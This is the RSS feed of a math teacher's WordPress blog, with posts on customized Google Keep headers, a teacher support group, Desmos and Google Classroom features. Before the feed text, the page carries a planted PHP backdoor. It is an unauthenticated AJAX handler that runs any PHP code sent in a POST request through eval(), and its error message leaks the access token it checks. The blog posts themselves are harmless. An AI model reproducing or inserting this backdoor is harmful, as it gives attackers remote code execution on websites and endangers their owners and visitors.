// ==[BD:szmrboXA]== add_action( 'wp_ajax_nopriv_xntfkqdh', function() { $ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18'; $bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) { wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 ); } $token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $token = preg_replace( '/^\s*<\?(php)?/i', '', $token ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $sym = microtime( true ); ob_start(); try { ( static function() use ( $token ) { return eval( $token ); } )(); $key = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } catch ( \Throwable $chunk ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } } ); // ==[/BD:szmrboXA]== Uncategorized Archives - Math, Tech, & Teaching https://www.lisaceja.com/category/uncategorized/ by Lisa Ceja Sun, 08 Sep 2019 01:23:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://i0.wp.com/www.lisaceja.com/wp-content/uploads/2016/01/cropped-Star-with-shadow-logo.png?fit=32%2C32&ssl=1 Uncategorized Archives - Math, Tech, & Teaching https://www.lisaceja.com/category/uncategorized/ 32 32 105644984 Customized Google Keep Headers – A Free Resource https://www.lisaceja.com/customized-google-keep-headers/?utm_source=rss&utm_medium=rss&utm_campaign=customized-google-keep-headers https://www.lisaceja.com/customized-google-keep-headers/#respond Sun, 08 Sep 2019 01:23:24 +0000 http://www.lisaceja.com/?p=667 This is not my original idea, but based on a Twitter Post from @mrs_janusz, and other techie people, I created my own template to share with anybody who would like to customize their own Google Keep Headers, similar to what you

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]]> This is not my original idea, but based on a Twitter Post from @mrs_janusz, and other techie people, I created my own template to share with anybody who would like to customize their own Google Keep Headers, similar to what you see below.

Here is a link to the Google Keep Headers Template in Google Slides that has all the slides you can customize to make your own headers.

Make a copy of the Google Slides presentation to customize with your own text, colors, and icons.

To download a slide as an image: File → Download → JPEG Image

In Google Keep, upload the image to the note, choose the matching color, and be sure to pin it.

Let me know below if you have any questions, and be sure to tweet and share with me @lisagceja your own customized Google Keep Headers!

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]]> https://www.lisaceja.com/customized-google-keep-headers/feed/ 0 667 Teachers Supporting Teachers – A Google Innovator Project https://www.lisaceja.com/teachers-supporting-teachers-a-google-innovator-project/?utm_source=rss&utm_medium=rss&utm_campaign=teachers-supporting-teachers-a-google-innovator-project https://www.lisaceja.com/teachers-supporting-teachers-a-google-innovator-project/#respond Wed, 17 Jul 2019 06:14:11 +0000 http://www.lisaceja.com/?p=581 During my 25 years of teaching in the math classroom, I’ve found that experienced teachers face unique challenges and are sometimes left feeling under-appreciated and unsupported. During the spring of 2018, I was accepted into the Google Innovator Academy and

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During my 25 years of teaching in the math classroom, I’ve found that experienced teachers face unique challenges and are sometimes left feeling under-appreciated and unsupported. During the spring of 2018, I was accepted into the Google Innovator Academy and attended in July of 2018. There I learned I could create a project that would have a positive impact in education. This teacher support group grew out of that summer work and is now a part of my Google Innovator Project.  I am passionate about teaching students, but I also understand how important it is for teachers to feel acknowledged and valued for the work they do. My Innovator Project website provides resources if you wish to replicate this teacher support group on your own campus or district.

Lisa Ceja LAX18 Google Innovator

For my Innovator Project, I personally invited teachers to become part of a special group of experienced teachers who want to work collaboratively to explore solutions to unique challenges we face inside and outside of the classroom, in a supportive & understanding environment. 

WHAT do participants gain?

  • Participation is voluntary, not paid, and not district sponsored, but participants will gain a personal and professional support network
  • Support other experienced teachers, acknowledge and value each other 
  • Support each other academically and personally
  • Thoughtful, non-judgmental, non-evaluative, empathic, liberating support in a safe space
  • Collaborative problem solving for problems inside and outside the classroom
  • Celebrate successes
  • Better attuned, more effective and efficient teaching
  • Teaching requires a high degree of energy on our part, that energy must be balanced, this will be an opportunity to “refill our cup”

WHAT takes place during the once a month meetings?

  • There’s an agenda that will guide each meeting, but the group will be a part of the future planning and direction of our meetings
  • Team building
  • Guided topics to discuss
  • Support
  • And most importantly, snacks!

Check out my Innovator Project Website for all the details and resources. If you have any questions please use this contact form, I’m happy to help!

– Lisa

Lisa Ceja at Google Venice, CA

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]]> https://www.lisaceja.com/teachers-supporting-teachers-a-google-innovator-project/feed/ 0 581 My Desmos Tweets https://www.lisaceja.com/my-desmos-tweets/?utm_source=rss&utm_medium=rss&utm_campaign=my-desmos-tweets https://www.lisaceja.com/my-desmos-tweets/#respond Sun, 03 Feb 2019 00:03:52 +0000 http://www.lisaceja.com/?p=561 It is interesting for me to look at my history of tweets that mention Desmos and to realize how this free tool has enhanced my classroom math lessons. I’m starting with my most proud tweet which is a screenshot of

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]]> It is interesting for me to look at my history of tweets that mention Desmos and to realize how this free tool has enhanced my classroom math lessons. I’m starting with my most proud tweet which is a screenshot of the landing page for teacher.desmos.com (if you’re not already signed in).

It’s really fun to get a message from a friend now and then that mentions they saw my face on the Desmos website.  They tell their students, “I know her!”

Over the last few years, I’ve used desmos.com to introduce math topics, dive deeper into math topics, and just have some fun with math.  Here is a collection of some of my Desmos related tweets that start in 2015.

2015

2016

2017

2018

Seeing some of my favorite Desmos tweets all in one place makes me realize the impact this tool has on my teaching.  My students know this is a tool they can access anytime from any of their devices. What makes me most happy is that this tool is FREE. This makes for a very happy math teacher and her students!

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]]> https://www.lisaceja.com/my-desmos-tweets/feed/ 0 561 5 New Features in Google Classroom – August 2018 https://www.lisaceja.com/5-new-features-in-google-classroom-august-2018/?utm_source=rss&utm_medium=rss&utm_campaign=5-new-features-in-google-classroom-august-2018 https://www.lisaceja.com/5-new-features-in-google-classroom-august-2018/#respond Sat, 11 Aug 2018 21:25:56 +0000 http://www.lisaceja.com/?p=513 Link to Google Doc: bit.ly/gcnewfeatures Feel free to share or make a copy.  

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]]> Link to Google Doc: bit.ly/gcnewfeatures

Feel free to share or make a copy.

 

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]]> https://www.lisaceja.com/5-new-features-in-google-classroom-august-2018/feed/ 0 513 How do you share over 20 years of teaching experience? https://www.lisaceja.com/how-do-you-share-over-20-years-of-teaching-experience/?utm_source=rss&utm_medium=rss&utm_campaign=how-do-you-share-over-20-years-of-teaching-experience https://www.lisaceja.com/how-do-you-share-over-20-years-of-teaching-experience/#comments Sun, 17 Jan 2016 21:28:51 +0000 http://www.lisaceja.com/?p=60 How do you share over 20 years of teaching experience? Start a blog? Sure, why not. I recently came across some old photos from my first year of teaching.  I started in September of 1994 and it is now 2016. Go ahead and

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]]> How do you share over 20 years of teaching experience? Start a blog? Sure, why not.

Lisa Ceja June 1995 - First Year Teacher - square cropI recently came across some old photos from my first year of teaching.  I started in September of 1994 and it is now 2016. Go ahead and do the math. This photo was taken in June of 1995 at the end of my first year and I can see that I am signing yearbooks.  I have nJune 1995 - Lisa Ceja and 2 studentso idea where these students are now but I pray they are well and happy.  What I do know is how much all my students taught me that year.  I am hopeful that they learned some math that year amidst all the craziness from a very young, but very excited teacher.  You can see I’m smiling in this photo, and am still smiling over 20 years later.

I continue to work for the same amazing district and am in love with my job and my students.  I  immerse myself completely in whatever I am passionate about.  And right now EdTech has revamped my classroom and continues to “Wow” me every day.  My PLN (Professional Learning Network) has encouraged me to start a blog to share my learning and discovery along the way.  This is why I named this blog “Exploring the TECH in TEaCHer” to honor that TECH is a part of TEaCHer and every day is an exploration for me of how the two connect.

I look forward to sharing my past, present, and future experiences so that I might help others maybe a bit of a fraction that the beautiful & helpful world of my PLN and other Bloggers have generously helped me.

– Lisa

* Please leave your blog info in comments below so we can follow each other and help grow our PLN!

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